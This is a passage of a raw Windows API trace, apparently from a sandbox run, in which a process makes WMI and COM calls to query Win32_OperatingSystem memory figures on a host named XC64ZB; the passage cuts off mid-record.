WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202bf8) returned 0x0 [0278.289] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202bf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0278.289] WbemLocator:IUnknown:Release (This=0x1b202bf8) returned 0x3 [0278.289] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0278.290] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0278.290] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202ce0) returned 0x0 [0278.290] WbemLocator:IRpcOptions:Query (in: This=0x1b202ce0, pPrx=0x1b202d18, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0278.290] WbemLocator:IUnknown:Release (This=0x1b202ce0) returned 0x3 [0278.290] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0278.290] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0278.290] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0278.290] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286860) returned 0x0 [0278.290] IUnknown:AddRef (This=0x1b286860) returned 0x4 [0278.290] IUnknown:Release (This=0x1b286860) returned 0x3 [0278.290] IUnknown:Release (This=0x1b286860) returned 0x2 [0278.290] WbemLocator:IUnknown:Release (This=0x1d290860) returned 0x2 [0278.291] SysStringLen (param_1=0x0) returned 0x0 [0278.291] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0278.291] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0278.291] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0278.292] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0278.292] IUnknown:AddRef (This=0x1b286860) returned 0x3 [0278.292] IEnumWbemClassObject:Clone (in: This=0x1b286860, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286320) returned 0x0 [0278.295] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286328) returned 0x0 [0278.295] IClientSecurity:QueryBlanket (in: This=0x1b286328, pProxy=0x1b286320, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0278.295] IUnknown:Release (This=0x1b286328) returned 0x1 [0278.295] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b202698) returned 0x0 [0278.295] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286328) returned 0x0 [0278.295] IClientSecurity:SetBlanket (This=0x1b286328, pProxy=0x1b286320, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0278.298] IUnknown:Release (This=0x1b286328) returned 0x2 [0278.298] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0278.298] CoTaskMemFree (pv=0x1d1e6660) [0278.298] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b202698) returned 0x0 [0278.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0278.299] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0278.299] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0278.300] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0278.300] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0278.300] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0278.300] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b202578) returned 0x0 [0278.300] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202578, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0278.300] WbemLocator:IUnknown:Release (This=0x1b202578) returned 0x3 [0278.300] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0278.300] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0278.300] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b202660) returned 0x0 [0278.300] WbemLocator:IRpcOptions:Query (in: This=0x1b202660, pPrx=0x1b202698, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0278.300] WbemLocator:IUnknown:Release (This=0x1b202660) returned 0x3 [0278.300] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0278.300] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0278.301] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0278.301] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286320) returned 0x0 [0278.301] IUnknown:AddRef (This=0x1b286320) returned 0x4 [0278.301] IUnknown:Release (This=0x1b286320) returned 0x3 [0278.301] IUnknown:Release (This=0x1b286320) returned 0x2 [0278.301] IUnknown:Release (This=0x1b286860) returned 0x2 [0278.301] SysStringLen (param_1=0x0) returned 0x0 [0278.301] IEnumWbemClassObject:Reset (This=0x1b286320) returned 0x0 [0278.302] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0e60 [0278.302] IEnumWbemClassObject:Next (in: This=0x1b286320, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0e60, puReturned=0x265cd48 | out: apObjects=0x1d1c0e60*=0x1b2681f0, puReturned=0x265cd48*=0x1) returned 0x0 [0278.309] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b2681f0) returned 0x0 [0278.310] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0278.310] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0278.310] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0278.310] IUnknown:AddRef (This=0x1b2681f0) returned 0x3 [0278.310] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0278.310] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0278.310] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b2681f8) returned 0x0 [0278.310] IMarshal:GetUnmarshalClass (in: This=0x1b2681f8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0278.310] IUnknown:Release (This=0x1b2681f8) returned 0x3 [0278.310] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0278.310] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0278.310] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0278.310] IUnknown:Release (This=0x1b2681f0) returned 0x2 [0278.311] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0278.311] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0278.311] IUnknown:QueryInterface (in: This=0x1b2681f0, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b2681f0) returned 0x0 [0278.311] IUnknown:AddRef (This=0x1b2681f0) returned 0x4 [0278.311] IUnknown:Release (This=0x1b2681f0) returned 0x3 [0278.311] IUnknown:Release (This=0x1b2681f0) returned 0x2 [0278.311] CoTaskMemFree (pv=0x1d1c0e60) [0278.311] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0278.311] IUnknown:AddRef (This=0x1b2681f0) returned 0x3 [0278.311] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0278.311] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0278.312] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0278.312] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0278.312] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0278.312] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0278.312] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0278.312] IUnknown:Release (This=0x77dd58) returned 0x1 [0278.315] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d217f10) returned 0x0 [0278.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d217f10, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0278.316] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d217f10, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b292f60) returned 0x0 [0278.316] WbemDefPath:IUnknown:Release (This=0x1d217f10) returned 0x0 [0278.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292f60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b292f60) returned 0x0 [0278.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292f60, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0278.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292f60, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0278.316] WbemDefPath:IUnknown:AddRef (This=0x1b292f60) returned 0x3 [0278.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292f60, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0278.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292f60, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0278.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292f60, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218250) returned 0x0 [0278.317] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218250, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0278.317] WbemDefPath:IUnknown:Release (This=0x1d218250) returned 0x3 [0278.317] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0278.317] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0278.317] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292f60, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0278.317] WbemDefPath:IUnknown:Release (This=0x1b292f60) returned 0x2 [0278.317] WbemDefPath:IUnknown:Release (This=0x1b292f60) returned 0x1 [0278.317] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0278.317] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0278.317] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292f60, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b292f60) returned 0x0 [0278.317] WbemDefPath:IUnknown:AddRef (This=0x1b292f60) returned 0x3 [0278.317] WbemDefPath:IUnknown:Release (This=0x1b292f60) returned 0x2 [0278.317] WbemDefPath:IWbemPath:SetText (This=0x1b292f60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0278.318] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0278.318] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0278.318] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0278.318] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0278.318] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0278.318] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0278.318] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x265db10*=0, plFlavor=0x265db14*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x265db10*=21, plFlavor=0x265db14*=0) returned 0x0 [0278.319] SysStringByteLen (bstr="1359840") returned 0xe [0278.319] SysStringByteLen (bstr="1359840") returned 0xe [0278.319] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x265db10*=21, plFlavor=0x265db14*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x265db10*=21, plFlavor=0x265db14*=0) returned 0x0 [0278.319] SysStringByteLen (bstr="1359840") returned 0xe [0278.319] SysStringByteLen (bstr="1359840") returned 0xe [0278.320] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0278.320] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0278.320] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0278.320] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x265dd08*=0, plFlavor=0x265dd0c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x265dd08*=21, plFlavor=0x265dd0c*=0) returned 0x0 [0278.320] SysStringByteLen 